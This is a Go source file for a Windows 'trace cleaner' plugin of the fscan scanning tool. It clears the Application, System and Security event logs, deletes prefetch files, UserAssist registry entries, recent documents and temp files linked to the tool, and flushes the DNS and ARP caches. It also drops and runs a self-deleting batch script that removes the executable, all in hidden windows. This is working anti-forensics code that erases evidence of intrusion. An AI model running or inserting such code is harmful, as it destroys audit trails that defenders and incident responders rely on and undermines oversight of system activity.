fscan/Plugins/local/cleaner/cleaner_windows.go
ZacharyZcR c0374a6250 feat: 添加跨平台系统痕迹清理本地插件
- 实现Windows/Linux/macOS三平台痕迹清理功能
- Windows: 清理事件日志、预取文件、注册表、最近文档、临时文件、网络缓存
- Linux: 清理Shell历史、系统日志、用户缓存、临时文件、网络缓存
- macOS: 清理Spotlight索引、LaunchServices数据库、系统日志、缓存文件
- 支持安全文件删除和程序自毁功能
- 采用保守策略避免误删重要文件
2025-08-11 11:51:36 +08:00

359 lines
9.5 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

//go:build windows
package cleaner
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"syscall"
"time"
"github.com/shadow1ng/fscan/common"
)
// cleanSystemTraces 清理Windows系统痕迹
func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} {
report := make(map[string]interface{})
var cleaned []string
// 1. 清理Windows事件日志
if eventLogs := p.cleanWindowsEventLogs(); len(eventLogs) > 0 {
cleaned = append(cleaned, eventLogs...)
report["event_logs"] = eventLogs
}
// 2. 清理预取文件
if prefetchFiles := p.cleanPrefetchFiles(); len(prefetchFiles) > 0 {
cleaned = append(cleaned, prefetchFiles...)
report["prefetch_files"] = prefetchFiles
}
// 3. 清理注册表痕迹
if registryKeys := p.cleanRegistryTraces(); len(registryKeys) > 0 {
cleaned = append(cleaned, registryKeys...)
report["registry_keys"] = registryKeys
}
// 4. 清理最近文档记录
if recentDocs := p.cleanRecentDocuments(); len(recentDocs) > 0 {
cleaned = append(cleaned, recentDocs...)
report["recent_documents"] = recentDocs
}
// 5. 清理Windows临时文件
if tempFiles := p.cleanWindowsTempFiles(); len(tempFiles) > 0 {
cleaned = append(cleaned, tempFiles...)
report["temp_files"] = tempFiles
}
p.cleanupStats["system_entries"] += len(cleaned)
report["total_cleaned"] = len(cleaned)
return report
}
// cleanWindowsEventLogs 清理Windows事件日志
func (p *CleanerPlugin) cleanWindowsEventLogs() []string {
var cleaned []string
// 尝试清理应用程序日志中的相关条目
logs := []string{"Application", "System", "Security"}
for _, logName := range logs {
// 使用wevtutil清理日志
cmd := exec.Command("wevtutil", "cl", logName)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
if err := cmd.Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理 %s 日志失败 (权限不足): %v", logName, err))
} else {
cleaned = append(cleaned, fmt.Sprintf("Windows Event Log: %s", logName))
common.LogSuccess(fmt.Sprintf("已清理Windows事件日志: %s", logName))
}
}
return cleaned
}
// cleanPrefetchFiles 清理预取文件
func (p *CleanerPlugin) cleanPrefetchFiles() []string {
var cleaned []string
prefetchDir := "C:\\Windows\\Prefetch"
if _, err := os.Stat(prefetchDir); os.IsNotExist(err) {
return cleaned
}
// 查找fscan相关的预取文件
entries, err := os.ReadDir(prefetchDir)
if err != nil {
common.LogDebug(fmt.Sprintf("无法访问预取目录 (权限不足): %v", err))
return cleaned
}
for _, entry := range entries {
if entry.IsDir() {
continue
}
filename := strings.ToUpper(entry.Name())
if strings.Contains(filename, "FSCAN") {
prefetchFile := filepath.Join(prefetchDir, entry.Name())
if err := os.Remove(prefetchFile); err != nil {
common.LogDebug(fmt.Sprintf("删除预取文件失败: %v", err))
} else {
cleaned = append(cleaned, prefetchFile)
common.LogSuccess(fmt.Sprintf("已删除预取文件: %s", entry.Name()))
}
}
}
return cleaned
}
// cleanRegistryTraces 清理注册表痕迹
func (p *CleanerPlugin) cleanRegistryTraces() []string {
var cleaned []string
// 清理UserAssist注册表项
if userAssist := p.cleanUserAssistRegistry(); len(userAssist) > 0 {
cleaned = append(cleaned, userAssist...)
}
// 清理MRU最近使用记录
if mru := p.cleanMRURegistry(); len(mru) > 0 {
cleaned = append(cleaned, mru...)
}
return cleaned
}
// cleanUserAssistRegistry 清理UserAssist注册表
func (p *CleanerPlugin) cleanUserAssistRegistry() []string {
var cleaned []string
// UserAssist键路径
keyPaths := []string{
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count",
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\\Count",
}
for _, keyPath := range keyPaths {
// 查询注册表项
cmd := exec.Command("reg", "query", keyPath)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
output, err := cmd.Output()
if err != nil {
continue
}
// 查找fscan相关条目并删除
lines := strings.Split(string(output), "\n")
for _, line := range lines {
if strings.Contains(strings.ToUpper(line), "FSCAN") {
// 提取值名称
parts := strings.Fields(line)
if len(parts) > 0 {
valueName := parts[0]
// 删除注册表值
delCmd := exec.Command("reg", "delete", keyPath, "/v", valueName, "/f")
delCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
if err := delCmd.Run(); err != nil {
common.LogDebug(fmt.Sprintf("删除注册表项失败: %v", err))
} else {
cleaned = append(cleaned, fmt.Sprintf("Registry: %s\\%s", keyPath, valueName))
common.LogSuccess(fmt.Sprintf("已删除UserAssist记录: %s", valueName))
}
}
}
}
}
return cleaned
}
// cleanMRURegistry 清理MRU注册表记录
func (p *CleanerPlugin) cleanMRURegistry() []string {
var cleaned []string
// MRU键路径
mruKeys := []string{
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RecentDocs",
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU",
}
for _, keyPath := range mruKeys {
// 这里可以添加更复杂的MRU清理逻辑
// 由于安全考虑,暂时只记录路径
common.LogDebug(fmt.Sprintf("检查MRU路径: %s", keyPath))
}
return cleaned
}
// cleanRecentDocuments 清理最近文档记录
func (p *CleanerPlugin) cleanRecentDocuments() []string {
var cleaned []string
// 获取用户目录
userProfile := os.Getenv("USERPROFILE")
if userProfile == "" {
return cleaned
}
// 最近文档目录
recentDir := filepath.Join(userProfile, "AppData", "Roaming", "Microsoft", "Windows", "Recent")
entries, err := os.ReadDir(recentDir)
if err != nil {
common.LogDebug(fmt.Sprintf("无法访问最近文档目录: %v", err))
return cleaned
}
for _, entry := range entries {
if entry.IsDir() {
continue
}
filename := strings.ToLower(entry.Name())
if strings.Contains(filename, "fscan") || strings.Contains(filename, "result") {
recentFile := filepath.Join(recentDir, entry.Name())
if err := os.Remove(recentFile); err != nil {
common.LogDebug(fmt.Sprintf("删除最近文档失败: %v", err))
} else {
cleaned = append(cleaned, recentFile)
common.LogSuccess(fmt.Sprintf("已删除最近文档: %s", entry.Name()))
}
}
}
return cleaned
}
// cleanWindowsTempFiles 清理Windows临时文件
func (p *CleanerPlugin) cleanWindowsTempFiles() []string {
var cleaned []string
// 临时目录
tempDirs := []string{
os.Getenv("TEMP"),
os.Getenv("TMP"),
"C:\\Windows\\Temp",
}
for _, tempDir := range tempDirs {
if tempDir == "" {
continue
}
entries, err := os.ReadDir(tempDir)
if err != nil {
continue
}
for _, entry := range entries {
if entry.IsDir() {
continue
}
filename := strings.ToLower(entry.Name())
if strings.Contains(filename, "fscan") || strings.Contains(filename, "tmp") {
tempFile := filepath.Join(tempDir, entry.Name())
// 检查文件是否太新(可能正在使用)
if info, err := entry.Info(); err == nil {
if time.Since(info.ModTime()) < 5*time.Minute {
continue
}
}
if err := os.Remove(tempFile); err != nil {
common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err))
} else {
cleaned = append(cleaned, tempFile)
common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name()))
}
}
}
}
return cleaned
}
// cleanNetworkTraces 清理网络痕迹
func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} {
report := make(map[string]interface{})
var cleaned []string
// 1. 清理DNS缓存
cmd := exec.Command("ipconfig", "/flushdns")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
if err := cmd.Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v", err))
} else {
cleaned = append(cleaned, "DNS Cache")
common.LogSuccess("已清理DNS缓存")
}
// 2. 清理ARP缓存
arpCmd := exec.Command("arp", "-d", "*")
arpCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
if err := arpCmd.Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err))
} else {
cleaned = append(cleaned, "ARP Cache")
common.LogSuccess("已清理ARP缓存")
}
report["network_caches"] = cleaned
report["total_cleaned"] = len(cleaned)
return report
}
// createWindowsSelfDestruct 创建Windows自毁脚本
func (p *CleanerPlugin) createWindowsSelfDestruct() map[string]interface{} {
report := make(map[string]interface{})
// 创建批处理自毁脚本
batchScript := fmt.Sprintf(`@echo off
timeout /t 2 /nobreak > nul
del /f /q "%s" 2>nul
del /f /q "%%~f0" 2>nul
exit`, p.currentExecutable)
scriptPath := filepath.Join(p.workingDirectory, "cleanup.bat")
if err := os.WriteFile(scriptPath, []byte(batchScript), 0644); err != nil {
common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err))
report["status"] = "failed"
report["error"] = err.Error()
} else {
// 异步执行自毁脚本
go func() {
time.Sleep(1 * time.Second)
cmd := exec.Command(scriptPath)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd.Start()
}()
report["status"] = "scheduled"
report["script_path"] = scriptPath
common.LogInfo("已创建自毁脚本,将在退出后执行")
}
return report
}
// prepareSelfDestruction 准备自毁
func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} {
return p.createWindowsSelfDestruct()
}